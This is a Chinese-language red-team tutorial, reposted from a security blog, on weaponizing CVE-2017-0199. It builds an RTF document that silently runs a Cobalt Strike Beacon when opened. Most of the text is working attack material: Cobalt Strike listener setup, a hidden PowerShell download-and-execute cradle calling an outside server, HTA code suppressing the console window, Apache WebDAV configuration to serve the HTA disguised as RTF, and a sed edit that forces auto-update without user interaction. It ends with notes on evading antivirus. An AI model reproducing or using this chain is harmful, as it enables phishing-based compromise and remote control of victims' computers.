在本文中,我們將解釋創建一個有效的概念RTF文件的基礎過程,該文件將執行Cobalt Strike Beacon有效載荷,而不需要用戶交互,也不需要終端彈出窗口,因為這可以證明在Red Team中非常有用。
請在下面簡要介紹相關步驟:
- Cobalt Strike 服務器將與偵聽信標一起設置,以便在受害計算機(在此實例Windows 8.1中實時啟動Windows Defender)時,從信標有效載荷接收連接。
- 將創建一個名為 exploit.rtf 文件的RTF ,指向一個名為 CVE-2017-0199_POC 的第二個RTF文件的OLE對象(該文件將只有一些POC文本)。
- 一旦 exploit.rtf 與 CVE-2017-0199_POC RTF文檔鏈接,該文件將被連接到使用的payload
- 該 exploit.rtf
- 無需用戶交互自動執行HTA進行修改。
Cobalt Strike設置和生成payload
為了能夠從執行的payload接收連接,需要以下步驟:
使用以下命令啟動Cobalt Strike Team Server:
./teamserver x.x.x.x password
使用該命令,運行默認5050端口上的Cobal Strike Team Server。為了能夠連接到服務器(使用與上一個命令設置的密碼),您將需要啟動客戶端:
java -jar cobaltstrike.jar
客戶端GUI啟動后,讓我們創建一個監聽,從” Cobalt Strike 菜單點擊“ Listeners :
Cobalt Strike -> Listeners

然后填寫所需的信息,如名稱,有效載荷,主機和端口,然后單擊 添加 。 從我們的場景中的以下圖像可以看出,使用了一個在端口4444上偵聽本地IP地址的 windows / beacon_http / reverse_http 有效載荷:

單擊 保存 以存儲設置。 繼續輸入您將使用的IP地址或任何解析的域名:

在此階段,可以添加任何解析為之前設置的IP地址的域。
一旦你點擊 確定 ‘開始的監聽器’將看起來像下面的截圖:

一旦監聽器啟動,我們將需要生成在受害機器上執行的有效載荷。從 Attacks -> Web Drive-by菜單中單擊“Scripted Web Delivery”,如下圖所示:

一旦彈出“ Scripted Web Delivery ”窗口,就會填寫所需的參數。您可以修改它們以滿足您的需求:

為了使腳本有效點擊 Launch :

這將在我們的主機上放一個名為“evil”的Powershell腳本,該腳本將在運行上一圖像所示命令的受害計算機上執行:
powershell.exe -nop -w hidden -c“IEX((new-object net.webclient).downloadstring('http://172.16.17.39:80/evil'))”
總結:
- 端口4444上的監聽器已創建
- 創建了一個反向連接指向我們的偵聽器的信標有效載荷
利用環境設置
在本節中,我們將介紹第2步和第3步(請參考簡介),以便將漏洞利用的環境設置為有效并且不需要用戶交互。
RTF OLE鏈接
我們需要執行的第一步是創建 CVE-2017-0199_POC RTF文檔,該文檔將是一個具有任意內容的簡單RTF文件。在我們的情景中,它將包括一個POC文本,如下圖所示:

創建一個帶有POC文本的簡單RTF
創建文件后,為方便起見,將其復制到本地安裝的Kali,因為我們需要為OLE鏈接過程準備好文件,這將在后續步驟中解釋。 為了文件 CVE-2017-0199_POC 被鏈接,我們將需要使用Apache服務,而這需要一些調整才能有效。
# mkdir /var/www/html/word/
# cp CVE-2017-0199_POC.rtf /var/www/html/word/
這將將以前創建的文檔復制到Apache的目錄中,以便將文檔提供給HTTP OLE鏈接。 OLE鏈接過程將涉及到由服務器發送的PROPFIND請求,從而有必要使WebDav啟用:
# a2enmod dav
# a2enmod dav_fs
# a2enmod dav_lock
# a2enmod headers
如果一切順利,您可以繼續編輯apache2.conf,以指示Apache有效地為RFT文件提供服務。 為此,請使用文本編輯器編輯 /etc/apache2/apache2.conf 文件,并在文件末尾添加以下行:
<Directory /var/www/html/word/>
Header set Content-Type “application/rtf”
</Directory>
<Directory>
Dav on
</Directory>
要使更改生效,請重新啟動Apache Web服務器:
#service apache2 restart
一旦Apache重新啟動,我們可以通過幾個簡單的步驟繼續進行鏈接過程:
- 用Word創建一個名為exploit.rtf的RTF文件
- 從“插入”菜單中單擊“對象”,并將HTTP鏈接放入CVE-2017-0199_POC文檔中,并勾選“鏈接到文件”選項,如下圖所示

單擊 確定 并保存文件。然后,文件將在“exploit”會話中進行修改,以便在沒有任何用戶交互的情況下觸發有效載荷執行。
HTA payload創建
我們現在需要生成一個HTA有效載荷,或者簡單地放置一個由負責執行這些類型文件的Microsoft mshta 代理執行的代碼。
我們將修改HTA以下部分,以執行我們的有效載荷:
<html>
<head>
<script>var c= 'command' new ActiveXObject('WScript.Shell').Run(c);</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>
要做到這一點,第一步是用我們要在受害機器上執行的Powershell命令替換’command’。
如前所述,命令如下:
powershell.exe -nop -w hidden -c“IEX((new-object net.webclient).downloadstring('http://172.16.17.39:80/evil'))”
所以修改后的內容現在將顯示為:
<html>
<head>
<script>var c= 'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://172.16.17.39:80/evil\'))"'; new ActiveXObject('WScript.Shell').Run(c);</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>
看起來似乎都很好,但是如果我們嘗試執行這個HTA,它會彈出一個powershell/命令提示符窗口,但是我們希望盡可能的隱身。通過進一步研究,我們發現將 Run(c) 字符串修改為 Run(c,0) 將導致我們的命令在沒有任何命令提示符/ powershell彈出窗口的情況下被執行。 所以最終的HTA有效載荷將如下:
<html>
<head>
<script>var c= 'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://172.16.17.39:80/evil\'))"'; new ActiveXObject('WScript.Shell').Run(c,0);</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>
現在需要用這個新創建的HTA有效載荷替換“ /var/www/html/word/CVE-2017-0199_POC.rtf ”文檔。
可以使用以下命令:
將HTA有效載荷保存為/var/www/html/word/payload.hta
# cp /var/www/html/word/payload.hta /var/www/html/word/ CVE-2017-0199_POC.rtf
為了使此更改生效并觸發有效載荷執行,我們將需要指示Apache將此文件作為RTF解析,而不是作為HTA。 要做到這一點,只需將 Content type 從“ application/rtf ”更改為“ application/hta”,即可將其更改為以前編輯的/etc/apache2/apache2.conf,然后重新啟動apache web服務器。
總結:
- exploit.rtf和CVE-2017-0199_POC.rtf 之間的OLE鏈接已創建
- 將創建一個將執行Beacon有效負載的HTA,并將其替換為原始的 CVE-2017-0199_POC.rtf
- Apache Web服務器被修改為將 /var/html/www/word 目錄中的任何RTF文件為HTA提供服務,以便執行HTA有效載荷
開發
為了使有效載荷即使沒有用戶交互也可以執行成功,,我們將需要修改以前創建的 exploit.rtf文件。 我們將添加的參數是“objupdate”,顧名思義,當打開惡意 exploit.rtf 時,將觸發自動更新/執行鏈接文件。 為了應用此更改將需要以下命令:
sed -ie ‘s/objautlink/objautlink\\objupdate/g’ exploit.rtf
exploit.rtf現在可以發送,它將觸發一個Beacon有效載荷,無需任何用戶交互即可執行終端,您可以從以下截圖和POC視頻中看到

exploit.rtf被打開,并且不需要用戶交互來觸發有效負載來執行
我們的監聽程序已經成功收到了一個反向HTTP連接:

殺軟警告
在我們的實驗室環境中,我們在Windows 8.1實例上執行有效負載,啟用Windows Defender實時保護。使用Windows Defender,該文件未被標記為惡意軟件。 但是,我們還在安裝了卡巴斯基的Small Office Security的Windows 7 SP1實例上嘗試了該文件。在這種環境下,卡巴斯基將我們的文件標記為惡意文件,并阻止有效載荷執行。
*參考來源: secforce ,轉載請注明來自MottoIN
|